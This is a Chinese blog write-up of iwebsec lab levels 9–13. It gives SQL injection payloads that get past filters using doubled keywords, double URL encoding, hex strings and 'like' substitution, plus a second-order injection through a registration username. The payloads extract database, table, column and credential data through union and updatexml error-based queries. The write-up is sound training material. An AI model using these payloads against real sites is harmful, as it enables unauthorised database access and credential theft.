iwebsec靶场通关sql注入详解

iwebsec靶场Sql注入9-13关

第九关-双写关键字绕过

1.测试有无注入点

打开iwebsec靶场第九关

在搜索栏的id=1后加上单引号看其是否会报错

报错了,证明其后台代码并没有对其进行完全的参数检查和严格的约束。导致前台可以控制其参数,从而直接查询数据库。既然报错了那这个就是个注入点。

2.构造payload

①查看后台选择字段数

看到页面如图显示,是个get基于id的get请求,基于id的不用构造闭合,测试一下order by查看选择了几个字段。

3是可以直接输出内容的证明有3个,输入4的时候,报错了,则判断选择的字段有3个.

②利用union联合查询判断显示位

我们输入了正常联合查询语法,但是报错了,就要考虑是否是关键字过滤了

查看源码

看源码,发现是select关键字被过滤了,因为整个select会被空格替代,我们把select分开写到select的两侧,过滤后成为一个select

输出之后,发现页面正常显示,证明payload正确

3.爆破数据

因为用联合查询有limit的限制,我们用显错注入爆破数据

①爆数据库名

payload:id=1 and updatexml(1,concat(0x7e,database()),2)

②爆表名

payload:?id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

③爆字段名

payload:?id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

④爆数据

payload:?id=-1 union seselectlect 1,2,group_concat(concat(0x7e,username,password)) from iwebsec.user#

第十关:双重url编码绕过

1.测试有无注入点

在搜索栏里id=1后加上单引号,查看是否报错

语法报错了,证明其后台代码并没有对其进行完全的参数检查和严格的约束。导致前台可以控制其参数,从而直接查询数据库。既然报错了那这个就是个注入点。

2.构造payload

①使用order by 查询选择的字段数

输入3的时候正常回显,输入4的时候报错,证明选择了3个字段

②使用联合查询查看回显位置

输入union selecrt 1,2,3# 发现不是语法报错而是error,证明没有过滤,而是服务器没有识别我们的参数。

③查看源码

查看源码,发现第一层过滤了select,第二层对id进行了解码,所以我们把payload进行编码

④制造payload

id=-1 union select 1,2,database()# 对其进行两次url编码然后放入搜随栏

最终payload:

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%33

3.爆破数据

①爆数据库

使用的payload:?id=-1 union select 1,2,database()#

编码后payload: ?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%33

②爆表

使用的payload:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'#

编码后:?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%36%37%25%37%32%25%36%66%25%37%35%25%37%30%25%35%66%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%37%34%25%36%31%25%36%32%25%36%63%25%36%35%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%39%25%32%30%25%36%36%25%37%32%25%36%66%25%36%64%25%32%30%25%36%39%25%36%65%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%35%66%25%37%33%25%36%33%25%36%38%25%36%35%25%36%64%25%36%31%25%32%65%25%37%34%25%36%31%25%36%32%25%36%63%25%36%35%25%37%33%25%32%30%25%37%37%25%36%38%25%36%35%25%37%32%25%36%35%25%32%30%25%37%34%25%36%31%25%36%32%25%36%63%25%36%35%25%35%66%25%37%33%25%36%33%25%36%38%25%36%35%25%36%64%25%36%31%25%33%64%25%32%37%25%36%39%25%37%37%25%36%35%25%36%32%25%37%33%25%36%35%25%36%33%25%32%37%25%32%33

③爆字段

使用的payload:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

编码后:?id=-1 %25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%36%37%25%37%32%25%36%66%25%37%35%25%37%30%25%35%66%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%36%33%25%36%66%25%36%63%25%37%35%25%36%64%25%36%65%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%39%25%32%30%25%36%36%25%37%32%25%36%66%25%36%64%25%32%30%25%36%39%25%36%65%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%35%66%25%37%33%25%36%33%25%36%38%25%36%35%25%36%64%25%36%31%25%32%65%25%36%33%25%36%66%25%36%63%25%37%35%25%36%64%25%36%65%25%37%33%25%32%30%25%37%37%25%36%38%25%36%35%25%37%32%25%36%35%25%32%30%25%37%34%25%36%31%25%36%32%25%36%63%25%36%35%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%37%25%37%35%25%37%33%25%36%35%25%37%32%25%37%33%25%32%37%25%32%33

④爆数据

使用的payload:?id=-1 union select 1,2,group_concat(concat(0x7e,username,password)) from iwebsec.user#

编码后:?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%36%37%25%37%32%25%36%66%25%37%35%25%37%30%25%35%66%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%36%65%25%36%31%25%36%64%25%36%35%25%32%63%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%32%39%25%32%39%25%32%30%25%36%36%25%37%32%25%36%66%25%36%64%25%32%30%25%36%39%25%37%37%25%36%35%25%36%32%25%37%33%25%36%35%25%36%33%25%32%65%25%37%35%25%37%33%25%36%35%25%37%32%25%32%33

第十一关:十六进制绕过

1.测试有无注入点

打开关卡,看到是id搜索,在id=1后加上单引号,查看是否报错

法报错了,证明其后台代码并没有对其进行完全的参数检查和严格的约束。导致前台可以控制其参数,从而直接查询数据库。既然报错了那这个就是个注入点。

2.构造payload

①用order by查看选择的字段数

输入3的时候可以回显

输入4时候语法报错,证明选择字段数是3

②用联合查询,查看回显位

③查看源码

可以看到依然是对id进行了urldecode编码

3.爆破数据

①爆破数据库

使用的payload:?id=-1 union select 1,2,database()#

②爆破表名

使用的payload:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563# 0x69776562736563是iwebsec的十六进制编码

③爆破字段

使用的payload:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572# 0x75736572是users的十六进制编码

④爆破数据

使用的payload:?id=-1 union select 1,2,group_concat(concat(0x7e,username,password)) from iwebsec.user#

第十二关:等价函数替换过滤

1.测试有无注入点

打开关卡,看到是id搜索,在id=1后加上单引号,查看是否语法报错

法报错了,证明其后台代码并没有对其进行完全的参数检查和严格的约束。导致前台可以控制其参数,从而直接查询数据库。既然报错了那这个就是个注入点。

2.构造payload

①使用order by查看选择的字段数

输入3时正常回显,输入4时报错,证明是选择了3个字段

②使用联合查询查看,回显的位置

使用union select 1,2,3#查看

③查看源码

可以看到=被过滤掉了,我们可以用等价函数去代替=,因为sql里面的like 不加通配符和=效果一样,所以我们用like去平替

④构造payload

?id=-1 union select 1,2,database()#

3.爆破数据

①爆破数据库

使用的payload:?id=-1 union select 1,2,database()#

②爆破表

使用的payload:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 0x69776562736563--+ 0x69776562736563是iwebsec的十六进制编码

③爆破字段

使用的payload:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 0x75736572--+ 0x75736572是users的十六进制编码

④爆破数据

使用的payload:?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user--+

第十三关:MySQL二次注入

1.测试有无注入点

打开关卡,看到还是id,在id后加上单引号,查看是否有注入点

发现页面没有报错,输入双引号等也都没有反应,则注册这块可能没有注入点,我们点开找回密码试试

好像也没什么可以查看到的,直接查看源码

可以看到注册界面没什么可以注入的,但是根据邮件找回的时候,会查找对应的用户明,可以在注册的时候用户名写入payload,然后查找的时候用户名会形成一个payload然后执行回显。

2.构造payload

因为不是数字和字符型,我们直接用显错注入

①将payload当作用户名 密码和邮箱随便填

②注册完后用邮箱,使其对应的payload执行

3.爆破数据

①爆破数据库

使用的payload: 1'or updatexml(1,concat(0x7e,database()),2) #

②爆破表

使用的payload:1' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #

③爆破字段

使用的payload:1' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #

④爆破数据

使用的payload:1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from iwebsec.users),1,31),0x7e),1) #

  • 11
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值